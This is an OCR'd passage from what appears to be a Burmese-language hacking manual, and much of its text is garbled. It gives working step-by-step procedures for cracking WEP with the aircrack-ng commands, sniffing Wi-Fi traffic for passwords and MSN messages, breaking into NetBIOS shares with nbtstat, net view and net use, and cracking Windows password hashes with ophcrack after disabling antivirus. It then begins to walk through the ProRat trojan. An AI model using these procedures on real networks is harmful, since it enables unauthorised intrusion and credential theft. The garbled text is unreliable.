CLT A @ 000956292858 Waless 1 11 Mbps  Metgeer AP WEP
O DID4EZNETICE @ (0095B39B9EA. wvishakha b 11 Mbps  Metgeer AR WEP
@ nooazscadsia | [@UDSOFETIZFOE  MOMRELESS B 11Mbps Micosoft AP WEP
& IZII]EIILEEHIE BG.;I}S gﬂﬂﬂdsﬁ.ﬁﬁﬁ.zﬂ linkizaes 6 11 Mbps  Linkays AP
S D030AB1FEFFC  Tsunami " 11 Mbp=s  Oela(MNelgear) AP WEFR
g ”“':'5'5'3;“""’::3 @ D04005BA4FED  Shivalist :  B2Mbps Delink AP WER
D0RIEEILSF A (O 0040963F1Ed  manje B 11 Mbps  Cisco (Airone) AR
B O030ABOFCHTS B OIM4SACEITIF  vimy-homie M 1iMbps Linksys AR
i B D0045ADT BAST  MRBA-CWARZ 1 11 Mbips  Linksys AP WER
#3 1 @ DICONZOCFOE?  Speedfteam 1 11 Mbps  Sercomem AE WER
=k 5108 & D045AEEDAIF  wirsless & 11 Mbps  Linksys BB CWER
= Fire 3 O030ABT74C10 . MAZABRETH 1 11 Mbps  Deita {Nelgear) AP
&f Encreption Off @ 000550ECAAE?  sansrall i 11 Mbps D-Link AR WER
B Encryplion On O O009SERE0ANT Wealess 11 13IMbps  Mebgesr A
‘K ESE AR ) OO0GZRATERSA linkeys i 11 Mbps  Linksys i
‘&' BES (Peer) & O00GZEC04238  cali 5 B4 Mbps  Linksyvs AR WEF
"% CF Pallable ) D00G2ZESFFREF  linksys b 11 Mgz Linksys AP
'K Ehod Preamble @ D00GIRIBECTD  shrerys fi 11 Mbps  Linksys AR WEPR
of Default 5510 @ 00CODZCOAIDE  HOME 11 11Mbps Sercomm AP WEPR
i 1 =
3 Poce R uvniAm | oo e e = v
‘B’ Channel Agitty iz 2 ¥
frmsdy Pt stanning 85; Dresbled




G. 603,303 Wireless Network oo09§, MAC address o3 oncod80[mpdq 338 wireless
network §, signal strength o3[qo} graph o960 qdlevdn a8&:eepecyypiecy signal
3225602 C:60000I

o - 58

A Charnd
Iy '8
2 S50

= 2% EnbeshadietHackmd

Y Jovici Fiozis|

§). NetStumbler o> wireless network 069§, SSID o3axmeos MsE address, Channel
number3, encryption type =og€ oodfg: elepodlgrigd  eudlgeusdloncdi dsagdeoy
a:diom  Encryption o crack 3300305 3303:0€03 39096035531 Common
encryption type coRonGo)...

WEP (Wired Equivalent Privacy) — WEP om odffjq ofeoopdlopsn WEP key o3
agudegudanm crack 8Ee0d $0d:cbe0R FagPEnY: 603 §esolg

WsP (Wireless spplication Protocol) — cood§eneor; WsP o Wireless network o3
[gpd3r0 AYffgeudecdumaldn Wep key o3 crack gEqE WEP key o3 crack § ecgudon
Ologan Brute-force Sloowpod Dictionary attack @030 8Edecdi o30d key om
OfglgedoqC Dictionary attack $.copd:s o crack §&d  Brute-force & a8c0pds
2005050603000 069G 00dge[gpCiognidlend w8 dleloE wogyIzIgPEU 8350305

320808:6000¢ wdlogomedl



Cracking WEP

830080 WEP o3 crack 3 320305 BackTrack o8 eolo} Live Linux Distribution
006903 32295gjdlecdn WEP o3 crack 8, BackTrack ¢n Software eog ood[gjod[03: dldlooud
0o6eC Requirement $69§Sloocdi

0. Wireless Adapter http://www.aircrack-ng.org/doku.php?id=compatib|e_cardsoo§agé]cfg

Computer 0o6cd:c80lonedi
J- BackTrack Live CD 0066 c8dlooodi

BackTrack ¢2dlo} tool cogadon A 2digjecd tool 6oaneoD;...
1. Kismet — Wireless Network Detector
2. airodump — captures packets from a wireless router
3. aireplay — forges ARP requests
4. aircrack — decrypts the WEP keys
&> 0003....

0. ooowad: Wireless access point oo&[)%, 00,8, bssid, essid and channel number

6aR03epqdlecdi terminal oS0l kismet o8 §o5c0pd[Ge Kismet o3 run c3o5dl o3udenden
onOoon:03 adapter name o3 @omE:dcdGeudn iweonfig o3 §odcopdfG: o30S device
§002003 [130008 qdlonwdi & example ¢pGo>; adapter name oo ath0

Gignal level=-45 dBm
Rx in d

¥ excessive retries:1552 Inv

J- 65205070603 90050O8ES, 03ud Wireless adapter v Monitor mode [§6e$3 c8Glooud
Kismet oo glod A c8A eagpodandeodlonedi



0. Kismet ad¢n Y/N/O &803 flag eop03 cop.qdlecdn encryption type §, 8203602005
o20d:60R0l 8 example v WEP key o3epen|gdoysacgad WEP encryption §, Access Point
03200 gpelecdi

Y=WEP

N=OPEN

O=0THER (A qp:A 2qC WAP)

G. Access Point o3cop [§a3qE notepad o3¢E[G: network broadcast name (essid), mac
address (bssid) &, channel number 03 0% ©05c30>dl 8A qodeoR03 §3, Access Point o3
arrow key 3 6g,93243s enter $60305¢ qoloodd

S - 60

Network List (Autofit)
Name k T W Ch Packts Flags IP Rang
default i D06 9 F 197

! iyonder .net 42 U4 10.254.178._254

LILETs 0 U |

! iyonder.net 22 A3 10.254.178.0
! eurospot 19 U4 204.26.5.166
! NETGEAR ! 5 0.0.0.0

§). 6520500080Cmeo A8 access point 88on data o3 airodump &, collect o063 Sl
terminal A 20800699E305(G: GA 2050 command 63§50 pd0l
airodump-ng — [channel# ] —w [filename] —bssid [bssid] [device]

A eolon command ¢o airodump-ng > program o3 orun oo 20Ee0R.03 access
point §, channel o3 -c G§oode> copdi output data GoRo? 036:00d3ESOE0N3 -w
G§205¢000p01 access point §, MAC Address o3 -bssid 6§005¢2c00d1 G§nodedienm device

name o3copdi command Goged bracket cogoopdadosp el

E. A adlon run §, terminal 03 8A 03&:000:c305(G: terminal A 2060069 c0OgEBa5Al data
output speed J[g$cneA 288, access point 8303 fake package oy generate coOlwwdi
A 200gE00:03 terminal a3¢n GA 20500 command o3§eddll

aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:55.:66 -e [essid] [device]



§ command o602y aireply-ng 3, aireply o3 run c3050looud 838650050 -1 meoy fake
authentication co6e0dcd 6lp[G: -a o> target access point §, mac addressi -h o 0305
wireless adapter §, mac addressi -e o> access point &, essid name §, e§ocﬁe§:meoog

o305 wireless adapter device name o3 copdeeadli

qQ. 929 target access point o3 packet GogsagPi3: 000dREdE3ME vOGLIBlecd 338
packet cogoSane WEP key o3 crack 3, [03g0dioyqerecon eeanadon command o execute
co0[Geom3, airodump-ng terminal o3[0309[03pd ARP packet GoR0[G:03:00650003
60R,006¢dl command m6o,...

aireplay-ng -3 -b [bssid] -h 00:11:22:33:44.:5:66 [device]

§ command adoo -3 meo2; packet injection &, attack co68, p3S[e3psomod

©. 50k-500k packets coonod collect cpO@eoga:qE WEP key odofd: qpad.qolgn cracking
process 03 0oo€euend command 0Go33...

aircrack-ng -a 1 -b [bssid] -n 128 [filename].ivs

§ command o3 -a 1 o> WEP attack mode o3e[gpE:8E:{3s -b oo MAC address, -n 128 oo
WEP Key length o3e[gpooodh -n 039800a3qE c02:3c8adl WEP key o3 o SE:A op¢:
crack Gosdlc86e0dn  packets oy capture  qpigPicRGooNGCOI  crack  03GSEPED
A 9EA eg:d§acodlan

5 - 61

6) DD(150528) 5A(148992) E8 30 ) 3Ei1459 ) 4D(146432) 82(146176)
) | 4 Fo( 14 44(147200)
] ] 5ct1a592@]

9A( 145920
F9( 146 *53

.L"'l' 144
. , (5(145152]
A?L15155¢| AC(149504] BE 58) C8{146688) E3( 1462 4 BD( 146176
0D 151040) S56(149504) D 16175) 80( 1 7E( 145408 )
98( 152576) 9?(1512541 ;
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KEY FOUND! [ 70:00:85:F9:80:C9:E4:89:F2:11:C5:49:98 ]



Computer ¢op Network adapter cop sa§jpeeen:edlCqp:gcd, 8cd crack [mypdo3esepen
error 6og60R,¢ndll 38 [30[GadqE Google oo 20&q, Sodeagadoma’ woddonudesdi
333, eplo3pddl 3a6[g03 o, §Ewdl

Packet Sniffing

Packet Sniffing o3conde0R,cpd[yd 300305 Wireshark o 3203dgi0pd[gogn:dlecdi Packet
Sniffing &3 network o930 packet GoRad wd:0003 $00:0p3N VOEPIBELIOS
o Packet Sniffer 006903034(G: Wireless Network &, access 03q§ogaegedqc 338 network
o> username o3 password o3 email o303 9y 2007§33§oge8EA0Ldn Example
0069O[gOleud

o. http://www.wireshark.org/ ones Wireshark o3 download codfGe a3€:c30dl

J- [Bq€ run c8o5Ge List the available capture interfaces &30 option 00®903 click

8603050

O - 62

File Edit ‘Wiew Go Capture .ﬁ.nalyze Skatistics:  Help

x2Elaesw T EE Qan §BB% B

| = Expression... Clear Apply

Descripkion P Packets Packetsfs
ﬂ Adapter For generic dialup and PR capture LRkAT 6} [E} [Start] [_ptluns ] [ etails ]
j. METGEAR Wial11 802, 110 Wireless USE2.0 Adapter (Microsaft's Packet Scheduler) 19201681101 0O ] [Start ] [_PtICIFIS J [ Details J




0. Target o3egi3: Start o3 63k
G. DWOUNOY Ggeaed ©8qE smneenpPdd: Packets csepedzagP:ad: 0dR3Egdl
Packets copqpiqpilges0mum 238 target oo user o active [§66500008302003 [4ordldN

Description IF Packets Packeksjs Sk
j. .ﬁ.%pter for: generic dialup and YPM capture rERAT i} ij lﬁtart ] [thic:ns ] [Qetails ]
. MNETGEAR WG111 802.11g Wireless USE2.0 Adapter (Microsoft's Packet Scheduler) 192.168.1.101 920 i |start | [options | | Details |

§). Wireshark 32006006003 [g§E8 s00305 Target computer ones MSN  messenger
I3y Message 00993 [qdlocdi 633050  [§€q033203¢:5  aBude|pesomneay
320:00:03 Wireshark §,06:83looudi 0c220603 onofep: data oo’ 0do0ob(3: Windows Live
$.90C0) Packet GoRo30 capture 08 00305 “msnms”  &30x03  Filter:  ad¢n
§odopddlondi

& - 64, 65

e e e L A K TNEE T b o ot
 NETGEARWGI11 ;

BOZ.11g Wireless USB2.0 Kdapter (Microsoft's Packet Scheduler) : Capturing,

File Edit Mew Go Capture Anakvee  Statistics  Help
SEses EEX2S /AT LIEE QQQr

Filker: | msnms * Expression...

028485 192.168.1.101 207.46,27.34 SRS
504748 192 .168.1.101 207.46,27.34 PSR S Mssz 10 W 145
LBEIEDEG 207.46,27. 34 192.168.1.101 MSHMS Msa smarterchildéhot
L0927 207.46,107.80 192.168.1.101 MSHM S MLH AWy sean@spotlig
638464 207.46,107.80 192.168.1.101 PSS UB= sean@spot]lightph

F Frame 1326 (209 bytes on wire, 209 bytes captured)
# Ethernet II, sSrc: Metgear_70:5e:0b (00:0F:h5:70:5e:0b7, Dst: Cisco-Li_f4:07:h5 (00:0c:41:f:
@ Internet BErotocol, sSrc: 192.168.1.101 (192 168.1.1010, Dst: 207.46.27.34 (207.46.27F.347
# Transmission Control Protocol, sSrc Port: 7601 (78010, Dst Port: msnp (18630, seq: 1105, Acl
= MSh Messenger service

MSS 8 N 142%rwn

MIME-version: 1.0%r%n

Content-Type: texty//plain; charset=UTF-8%r“n

MMMS—IM-Format: FH=Ms%20shel1%2001g; EF=; C0=0; C5=0; PF=0%r"n

W



6. 0en[g€032003E:A0 elpesozoomieagad sm:adlqesdlooudi Username cop Password
6oR0Rc0pd: 85050300320 capture wd:dlooudi :a0o0d¢) 8§ username cog password Gogu
encrypt ecpdaooedqC plain text 22688 03 [§€qOla8oewdi

00d[gp:3209:080} Sniffing Programs ¢ogoneoy...
WinDump — http://netgroup.polito.it/tools

Snort — http://www.snort.org/

Dsniff — http://monkey.org/~dugsong/dsniff/

Wireless Network Hacker qp:q$e omogudsndgps

0. 20¢ router 6oRq, default password o3e[gpEadc8addli WAP encryption o3copd: enable
0600210l 20¢ router v WAP option edlop:edqE WEP o3ad:dl

J- Router password o3 qodqodeosdli numbers, lowercase letters, uppercase letters and
other symbols cop A 2:0d:0loCdleon password v g6 coEerodldl

0. o0& Router um SSID o3 broadcast o603 option dodleon Slo Net Stumbler o3

0§oqoeaRs, 208§, Wireless network 03 gpoeaR 80l
G. Router §, MAC filtering o3A odqqoli Wireless card/adapter cogodCsen MAC address

6oR§[e30lonud

6. Packet Sniffing attack qSooes 00oRWdS, A eeoo;  site  GoR0d
agsePOdA 0dggo3A 8l SSL (Secure Socket Layer) encryption o3A oddgioli SSL enabled
[9803e38603§, URL um https:// § 0dloocdu



000405523205 006E00 20gadq§o:d[FE: [gdaopd



Chapter Seven
Windows Hacking



NetBIOS

NetBIOS s8ox Network Basic Input Output System §,80036020053 20&§, LAN or
WAN eolon drives, folders, files and printers 6ogo3 share cv68 g&[gieo:a3umdli NetBIOS
mMesme¢  RSQoMdd, access o3qupqon A qsdioliagudopdoncdi  Target
computer oo file and printer o3 enable cpSoos8e port 139 gCesd 3c8dlonwdn NetBIOS
mesone0¢ Windows machine 069§, access 039005c8 quaecdadomn  GA 205¢0

algplgdlecd
0. 0o0esd: Target 03 gpilovdn Sadgpoieseped VOgNGOR A gp:ed:addoy0s Tool eo)
Angry IP Scanner [g®0looudi http://www.angryziber.com/w/Download ooes Download

o8B 9g8:c305h

J- [B:9€ Scan cvoqCay IP range 03200500b3l WLAN (Wireless Local Area Network)
006903 §0de0055000da3qE GA 205mA 03¢ Local Computers ¢og03 scan 0336w

File @Goto Commands Faworites  Oplions  Lkils Help

IPrange: | 192 . 168 . 1 . 1 g | 192 168 . 1 . 224 [@stent -
. | <

Hostriame: |davids-machine IF'-{}1 “E:t cﬁsi ':%s] Thieads| 0 i’:l}ﬁ

| IP @ i | Fing @ i |Hostrame @i | |

0. 0O§,q0qudqEdan  port 139 @ run e$03 NetBIOS onesonsol  access
3quad [gdomelopé 6o §op host cogd, § port odeged: scan cvOdewd pIPIEdM
Downward arrow decood click 8058 Scan Port o3 check co:c8odbdli Port A 20603
egreco:cd 6e:a) Popup box 0od9edlandlendi YES o386k

5 - 67

e e | 7 Scan ports ;|N£,£'-,

1P | Pirng o | Hostname & i |

X

] Mo ports are currenthy selecked for scanning.
Do ol wank ko seleck them?

"|"E|'G\ | i [u] |
0




G. Ports: 22030560 139 3, §050005[Gs OK o380l
o - 68

Select poris =

Enter ports ko gcan [or use helpers below] ___7_]
Fiarks: i1 39

~Single port-

Part. | | v Add

— Part range -
Fru:um:| ta I &dd

Mote: pleaze be patient when scanning portz. It map
take lang if you wank bo zcan too many ports.

| ] | Cancel ]

§). Start 03863k offs scan wOAAGLLdI s:ds(BroxsGedqE result oB[goy box oode
020900ledI

g Sanning finished
e 44 zec, 0.196 secthost

19216811 - 192.168.1.224
IPz zoanned: 224
Alive hosts: 1

With open ports; 1

Portz scanned:
14 host, 1 tatal




6. IP 6dIE: 224 903 003eopCa F38ada 00693 active [goelopEss, 338006905 port
139 gCeselot: 36dmdeeay qead

©-70

P o@lPng  oilHotame o]
@ 132168183 Dead NS

@ 132162.1.90 Dead N/S
5.192.158.1.91 Dsad N/S

@ 1921681 92 Dead N/S
|@132166195 Dead | NS

@ 192162194  Dead N/S
5.192.158.1.95 Dsad N/S

@ 132188155 Dend N/S
@192169197 Dead | _' N/S

@ 192168198 Dead N/S
5.192.153.1.99 Dead N/S

@ 1321651100 Dend N/S
5@192.158.1.101 I:I.rr;s " davidz-machine.. ..
@ 1921681102 Dead N/S

Q. Common Prompt 63¢&3 Start -> Run -> o303248: cmd 8 §o500pd -> [Beq€ <Enter>
epleatell

©. [BsqC “nbtstat —a TargetIPaddress” o3 §odc0pddli target oo file §, printing o3 share
enable Gozon:qE 6330M=03E[GA8GedI

= (ZWINDOWSisystem 3

Microzoft Windows RF [Uersdion 5.1.260881]
CC>» Copyright 1785-2001 Microsoft Corp.

SDocuments and Settings“David Minbtstat —-a 192.168.1.1681

Wireless Hetwork Connection 2:
iMode IpAddres=s: [192.168.1.1811 Scope Id: [1]

MetBIOS Remote Machine Mame Tahle
Status

DAVIDS-MACHINE <@@> UNHIGQUE Registered
DAVIDE-MACHINE <2@> UNIGQUE Registered
MEHOME <@a> GROUP Registered
MEHOME <1E> GROUP Registered
MSHOME <1D> UNIQUE Regiztered
--__MSEEROUSE_ _ .<@81i> GROUP Registered

MAC Address = B0-BF-B5-Y8-5E-BB




. 3060lmde> DAVIDS-MACHINE oo target computer § $06p00h A 850000§, @onen
$0l05 <20> aBomadeoy vodh dled file and printer sharing enable [gbesilooodn <20>
B00d90 0603 §EG0, S0HREMS eqdlop: target A 205320 soodepdleoy!

00. “net view \\TargetIPaddress” o303 command o3do5Ch share cvOoon:03 drives,
folders, files and printers 603 [gewd command Oli A{oHAd 0 06 wedlamnoedat
target & 92030 share ecpSaonsdlopan Sled access o33, s005PES vqdlona & example
602 GA 20501A 03¢: adlaxndlondd

5-72

:xDocuments and SettingssDavid HMinet view »~1%2.168.1.161
lChared resources at ~s192.168.1.181

lhare name Type Used azs Comment

Print Send To OneMote 2887
Print HPF Photosmart B200 Series
Di=zk

he command completed successfully.

00. Printer $60%:3, SharedDocs &30} Disk 00903 share Gusco:Olonudi Slad vogyum
printer coR03 038:q66[G: SharedDocs Ao A epA 2:0d:03c0pds (30008 dld

o J. SharedDocs Disk o3 access 3, A8 drive o3 udgmg, computer a303 ozurgilevd
“net use G: \\TargetIPaddress\DriveName” 303 command o3§05c0p5dl G: sdojesepen
[P305030209:03 c0pd8EClonLdi drive 03 03ud0R8q)07PB¢> 0800pd3, Bbiwudedomnn?
GEpoooé]?)u

5-73

IC:~Documents and Settings“David Mi*net wse G: 5192168 .1 .181SharedDocs
“ustem error 85 has occurred.

he local device name is already in use.

IC:~Documents and Settings“David Mi*net wse J: 5192168 .1 .181SharedDocs
he command completed successfully.




0. 2260[0 Oe1 VEoEMdEAOS G: §, Map out CWOG38] H3Ld computer oSen G 3, drive
§ie$[Ge00:cd, error 0o05dlonudn 8cdonesqE ondlep: @x0d:odadielypCieo:adnddll

oG. aacdfGeog:qC My Computer o3a30fo3pddli Network Drives esanaben  drive
20000009 6ep0de$0 603, qdcddwudi FB3dlum target §, SharedDocs drive [03:AldN
¢C[3pd0d05q€ op §, documents 330:09:03 G0g,qAA3GLLdH

S - 74

;%}ﬁ] Local Disk (2

Devices with Removable Storage

; '\_"') _ DWD-RAM Drive (D) w Removable Disk (E:)
w Remaovable Disk (F1) w Remowvable Disk (G
w Remaovable Disk (H:) w Remowvable Disk (1)

Metwork Drives

E ==

& SharedDocs on '192,168.1,101°
; (2:)
[ — |



Cracking Windows Passwords

Windows XP &  Windows Vista password eogod crack &, ophcrack
http://ophcrack.sourceforge.net/ 303 program 026903 2eadqClevds Ophcrack v
Windows password cracker 200500050l [g§[g$so§e0s crack §E3 320305 rainbow table o3
:203qloocdn XP §, Vista $69cdn password eogod crack §€eoend XP oo
S[Bezasntelgolonudn Windows password cogen 22034g03 hash 6agodon 00d9an LM (Lan
Manager) hash Jli password oodgum 7 cdcoodempogiql chunk 7 9303053k
on0de3d:08 uppercase o36[gpE:ado5dlooudn DES encryption §, hash c8o5dloocdn 8ad
20C:600:60333(90  Jc305000qudl uppercase ejpC:ad0d0m qudeogelopE crack qom
Sogudognzilonudi Windows password o3 6320053 sdesepen a36:londi
- C:\WINDOWS\system32\config e303 directory o3¢
- registry: HKEY_LOCAL_MACHINESAM o3¢0 Sleoed sdesepondien password dloidCa’
access oeosclopzI

gl 8 hash 60303 90053 6e58RO[ecd? $85p5: §iloowdi
- Linux live CD §, boot cpd[Ge SAM file o3 USB oS ¢03530pbaopd0man 00d$00:
- Ophcrack o3¢ndloy PWDUMP o303 program o3add{8e registry o cppboniodspds
3 [gdSloncdi

0. 0owad: Ophcrack o3 @3ICG: install OOl version $69§dloocdi A 9A gEadia|penm
windows & Install coo[Gs A a3eq$p5gb03A 0305 voow 00903 ealE:dl
&-75

_ || W Download _
ophcrack ophcrack LiveCD

All platforms Ho installation



J- e3lEBeqC 09C:a8050li rainbow table o3 @3lCioconcd, ee:d) option edlaongE
2503 uncheck cvood[@e program 03000 293E:c8addl rainbow table o3e§005¢

200006 ealC:om c‘:)em&é]oooSu

S - 76
® ophcrack 0.1 Setup TEX
Choosze Components e
Choose which features of ophcrack 3.0.1 wou wank to install, {,-ij

Check the components you want toinstall and uncheck the cormponents wou don't wank ko
install. Click Mext bo continue,

Select components toinstall | |:||.:|-h|:ra|:k I:rEE]LI.i-rEl.:ijl
W0 wnload and Install small WinsP tables (3E0ME)
[ ] bownload and Install fast WinkP tables (FO3ME)
[ ] bownload and Install free Yista bables {461ME)

Space required: 12.6MB

SN | o | | WS




0.  o9C{QogmqC  Ophcrack  website o030y navigation oo

Tables

http://ophcrack.sourceforge.net/tables.php o@ click cx%cﬁé]u download C\Pf)%cq,eof:) table eog
30:00:03[q0c86ecdn  character Jdeco size Jlofecwadomn’ 6oR dad8Gecdi 030dq,

operating system §_ 630508003 table 03egead0d0l
5-7778

. XP free small (38B0MB)
. formerky known as SSTIC04-10k

Success rate: 39.9%
Charset: 0123456789 abedefghijkimnopgrstuwansy 2 ABCDEF GHIJKLMNOPQRSTLAANY S

mdSsurm: 17 cfadfcB13e27523601f23eb24 1 boah

= XP free fast (TO3MB)
o) formerly known as SSTIC04-5k

Success rate: 99 9%
Charset: 0123456783 abodefghijkimnopgratun y 2 ABCOEF GHIUKLMNOPCR STUSYY 2

mdSsurm; BheaE abay o3l edbf2de /230204

- XP special (7.5GB)
o/ formerly known as Wa-20k

Success rate: 96%

===vE@ i A (ncluding the space character)

Charset: 0123456789 abodefghijkimnopgratun yzABCDEF GHIIKLIMNOP QR STUSANAY Z PER 00 - 1

& XP german (7.4GB)
J formerly known as german

Success rate: 99% -
Cinly for passwords that containg at least one german character (A00ADUR)

=@ {l a00A00R

Charset: 0123456783 abodefghijkimnopgratun y 2 ABCOEF GHIUKLIMNOPCR STUSY Z 18RS &0+ -1




Vista free (461MB)

Success rate: 39%
Charset: based on a dictionary with variations (hybrid mode)

mdSsurr; A03cHE178d7 2722485 19b47 cagblebh

_» Vista special (8.0GB)
») farmerly known as NTHASH

Success rate: 39%
Passworids of length & or less
Charset: 0123456783 abedefghijkimnopgratusees yz ABCDEF GHIJKLMMOPORSTINAALY T
FERY AT - L= @ I (including the space character)
Passworids of length 7
Charset: 0123456783 abcdefghijkimnopgratuses yz ABCDEF GHIJKLMMOPORSTIUNAALY T
Passworids of length 8
Charset: 0123456783 abcdefghijklmnopgratunsyz

G. 8 example ¢oGony XP free fast 03egG: edlC:adnddlonudi [G:qE ophcrack o3¢E[Ge tables
aB02003 0cd85Al 63lEi000:03 table o3eged: Install RSO0 [Geg OK o 63k
&-79

b

"\ Tabie Selection xR

Table Direckary: Skakus

P38 ¢ RPPreefast ‘riDownloads!Fainbow Tablesf<p o disk;

o @ P free small niot installed
i @ ¥P special nok installed
o @ ¥P german vl not installed
i @ ¥P german w2 not installed
@ Vista special niok installed
o @ Mista free not installed

@ = enabled @ = disabled @ = not installed

allv]@|e

| Iniskall | | 8] 4 |




§). Password hashes o3quad, PWDUMP o3 run dlecdn anit-virus, anti-spyware oo}
:2§0060R ) disable cpbood:Oli PWDUMP o system file @oRo3  access
00003320305 29 03 malicious program &8[8: coes250005c3 i disable wcpboo:qE hash
03 650502 630EJE ©uAddloR:

€. Load 03 0ncod80[Gs Local SAM o3 eg:dli 88apSqjlomediaon user cogA 2:dsq, password
hash Gogor% |§c5](\3§905u

[ Progress ' Skakistics . Preferences .
Iser LM Hash MT Hash LM Prad 1 LM Piad 2 MT Prad
Adrninistrator 11BF7E7120855...
Boh FE_911E43CDEL... 1BFIS4DFRFFD4. .. empky
Dravid M 11BF7EF120853...
Guesk Fldecfeddlfasd. . empky
Helphssistant EGE391CDCa405... 48172F9E449147 .
Pushkin SDOSOIDE0EZ9A... F2OSDzZ0Z86CA6. ..
SUPPORT_35894 ... DADSEOE4E135E...

Q. Crack 038603050 og: password hash 6oe? crack dlad8&wodi

©. Crack o8 [B{8e3qC€ @A 205mOd screen 06903 [§Eqdlecdi
- 81

D 0 & v » O @
= I.\_F-'] u-’; L A o i
Load Delete Save Tables Crack: Help Exit About
| Progress | Statistics Preferances |
Iser LM Hash MT Hash LM Pwd 1 LM Pwd 2 NT Pwd
Adminiskrator 11EFFBET120858... not found
Bob FEC911E453CDEL... 1BF354D7FF7D4... LOLCATS empky lolzats
Drawid M 11BF7B7120858. .. not found
Gliesk Jldacfeldifasd. .. Empky
HelpAssistant BEE391COCE403... 48172F9E449147 ... nat found niok Found nok found
Pushkin SDOS01DS0EZ9A... F29sDzZ0z2AeCAL... CHRISTM as02 ChriskmasDz
SUPPORT 35894 DAOSEOB4ELISE. . not Found
Tahble Direckory: Skatus Progress
& @ ¥P free fast Z:/Dovwnloads/Ra... 100%: in RAM
Preload: . done - Brute Force: done Pwd Found: 317 - Time elapsed: Oh-1m 49s



B. 603,033203E:00 85632500:c003209C:en0E 2eoERNPe $694), password o3 crack
a8a53lonudi

Bob : lolcats

David M : not found

Pushkin : Christmas02

Ophcrack LiveCD
09 652050005004gd03 LiveCD §, crack 00003 algpdlecdi
o. Ophcrack website http://ophcrack.sourceforge.net/downl oad.php?type=livecd 030g¢G: 0305 0S
$.0305005 LiveCD 03eslC:adadali
J- §00003 .ISO file 03 Linux chapter 20800 Ubuntu LiveCD o3 90532008 90508053k
0. 9058q € 3386803 CD-drive adcopdfBs cd mas boot 0o65c8a5dl
G. 630053 screen o3[gEqOl86w0SI
S - 82

ophcrack LiveCD

) . | Ophcrack Graphic mode
e Uphcirack Graphic Lo mooe
0SS DBJECTIF SECURITE " PRngEs VRl

Opherack Text mode




§. Ophcrack Graphic mode o503 of8, enter 0705 Slovwrod 6 oS et
0099016508, Graphic mode § 00050cxgE restart [g$q[Gs Ophcrack Graphic VESA mode
$.0C0l Slcopds 0gqE Ophcrack Text mode & 00l

€. Ophcrack loading [Geoga:qC windows password hash cogo3 op 90000 gpop: 0o
crack cosOlo8&eudi



Windows Hacking §$¢ omog0ds05:gps
NetBIOS attack me$ 03053, ...
o. File and printer sharing o3 disable coboon:dli Windows Vista ¢oeonp default 20653,
disable cv60025Gzoo:0ll Sleoend XP 606037 0305 cpdeuzgileddi
- Start -> Control Panel -> Network Connections o%ago:é]
- 03094, active connection o3 double-click $6c3050l
- Properties 03 ac086dk
- File and Printer Sharing o3 egseo:coq€ uncheck cpSc8o5dli OK
© - 831 84

LANM or High-Speed Internet

. i g
S+ 1394 Conpection 2 5 " wireless Netwark Connection 2
= C:Jnr;e-’_tekf:irewai!er_l E’;-q.,;) Connected, Firewalled
I 1394 Net Adapker [ () METGESR Wialll S0Z.11g Wi,
gy ke

Gereral | Suppu:urt.;
Connection
Statuz: Connected
M etwork: EnterndGetHacked
Duration: 01:08:43
Speed: 1.0 Mbps
Signal Strength: l.ﬂu[l
Aoty
£
Sent - ﬁ Received
TR 167
Buytes: 1,308,226 E16649 425
l Froperties ” Dizable H “igw Wlireless Metworks J




General | ‘wirsless Networks ]I Advanced |

Connect using:

i ES MNETGEAR WG111 802110 Wireless

Thiz connection uges the following tems:

EIN - Client for Microsoft f etk |A :

File and Frinter Sharing for Microsaft Mebworks il

[1a5 Packet Scheduler |

: £ |y'|!

| ¥ %= Metwork Monitor Driver ¥ i

<] | & |

[. Inztall... ] [ Lrinztall ] [ Froperties ]
D ezcrption

Allowez paur computer o access resources o a Microgaft
nietork.

Show icon in notification area when connected
M atify me when thiz connection haz limited or fo connectivit

ok ][ Concel |




Chapter Eight
Malware



Malware 6ogmeom $6s > 00mLS[03e:03 [goo0sHsP:eoR0l cwedICiypignum
Malware 6oR503 [03e03.6560l000dn 32603 gEagPed: Malware 3a§|EEER:6ORMOGO
Virus, Worm §_ Trojan o35 [g6dlonudn $sae&:wn malware cogsacjopC:n? cegiegien|gdG:e
Windows Trojan 006903c0od: Example 32653, 320dggolecdi Windows Trojan 03a3%g8,
0B egeedsde0) Linux &, Mac computer 6ogeacged malware 2360§dlon:

58S g
o. Viruses — Virus Gogum peoRq), 220p35p80ilad ofg§.$.8C0lopu 0p0d 683, host

0009030330905 2303 0 MOGkeoEEORS, opvlonudi  host eogu  deslgCeson
program eop file eopad0ldn & program o3 run cBodomF, virus 0 ©oDERRE

c006emEJ: 0od[gr:dCecnaial oxondeadlonud Virus cogu qodseieam{odlonud
20803 §, hardware cop software eoRd, file 6003 GodaB:e330EO&E[loowdn File

6oR03 share cpdmommes oosodl email attachment eoROe$0090¢ virus 6oR

cﬂ°§°@6]or)<§||

J- Worms — Worm oeoxp network eoloo computer cogadod  op 03000003
658y:ax:8E€a) malicious program Ol Virus § 0opodsagedon worm o (6.3

op00Heod,  §,  opmpdecdllons  System 008903 20030dcd0d[Gadoms,
93 §.6075360303 0odlgn: system 6oRe30 ¢j|.$.68208 cvbeaonEilondd

0. Trojan Horse — Trojan Horse a30> System 0099, desktop o3egqpEzomi User interface
o3 BConodesnt cwbomi mouse o3 03&:qOo 003 Gdlodoncdmgeoy WOSESS
malicious program dli 208§, data 6og03 quad.I 8CecR0? qod0d3,I password GoRd:d
keystroke GoR03 662038, ©02060R030R5: AYdeamESEleani00udN

G. Llogic Bombs - Logic Bomb &30 w§ooqeon:ooeg, Sloewpod user o
200900500007 action o3 ecpdeanwey, [GoGoeco: 0pdeso) program 00693038

code 0odg 001 FSoy@eBons, ©qf: program  §.00Coy  FwOeRE? O
c006s00Eeu) code Gopdll



§). Bacteria — Bacteria 0602 0903 03050903, 603H3e0R SaqPenJyiod comEeaydh

system resource Gog|§60f§ processor power, memory & disk space eorgsmd?scﬁ

nSoe3nti [gpdagnesmnt capdeudeanaeoydl

€. Blended Threats — 9300602 s260lonumeagsind:a’ cdlt:odG: system vulnerabilities

60R3,320932004 G [9$.8.1 machine 6oR03 03058, cvbeudemES

ProRat
Malicious program Gogo3jgComesmnt [g8 30005 Windows Trojan ood9[goo3

ProRat 3a6{oypCaspdespdialoplgdlecd
0. 8mmes 6alE:cdoddl http://www.prorat.net/downloads.php @SICsG:qC rar [gp58,

password oo “pro” Al

J- Program (‘f%g@(\%cﬁcﬂu Gsmcﬁé]sgo%& Gogeqélcﬁéeosu
© -85

ProRat V1.9

P tnfa Applications
Meszage o
Chat Admir-FTF
